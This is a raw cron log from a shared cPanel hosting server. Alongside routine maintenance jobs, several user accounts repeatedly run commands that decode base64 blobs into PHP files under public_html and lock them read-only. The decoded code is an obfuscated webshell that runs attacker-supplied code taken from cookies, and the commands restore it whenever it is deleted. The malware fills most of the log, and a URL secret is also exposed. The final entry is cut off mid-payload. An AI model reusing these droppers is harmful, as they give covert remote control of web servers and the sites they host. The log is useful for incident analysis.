Mar  1 22:29:01 medusa CROND[20733]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:29:01 medusa CROND[20732]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:29:01 medusa CROND[20730]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:30:01 medusa CROND[25585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:30:01 medusa CROND[25603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:30:01 medusa CROND[25604]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:30:01 medusa CROND[25791]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:30:01 medusa CROND[25794]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25796]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:30:01 medusa CROND[25795]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25802]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25806]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:30:01 medusa CROND[25803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:30:01 medusa CROND[25805]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:30:01 medusa CROND[25808]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:30:01 medusa CROND[25812]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 22:30:01 medusa CROND[25807]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25814]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:30:01 medusa CROND[25809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25820]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25801]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:30:01 medusa CROND[25823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:30:01 medusa CROND[25811]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:30:01 medusa CROND[25825]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25831]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:30:01 medusa CROND[25800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25850]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:30:01 medusa CROND[25854]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:30:01 medusa CROND[25859]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:30:01 medusa CROND[25863]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:30:01 medusa CROND[25869]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:30:01 medusa CROND[25861]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:30:01 medusa CROND[25872]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:30:01 medusa CROND[25875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:31:01 medusa CROND[32140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:31:01 medusa CROND[32241]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:31:01 medusa CROND[32336]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:31:01 medusa CROND[32335]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:31:01 medusa CROND[32339]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:31:01 medusa CROND[32340]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:31:01 medusa CROND[32342]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2V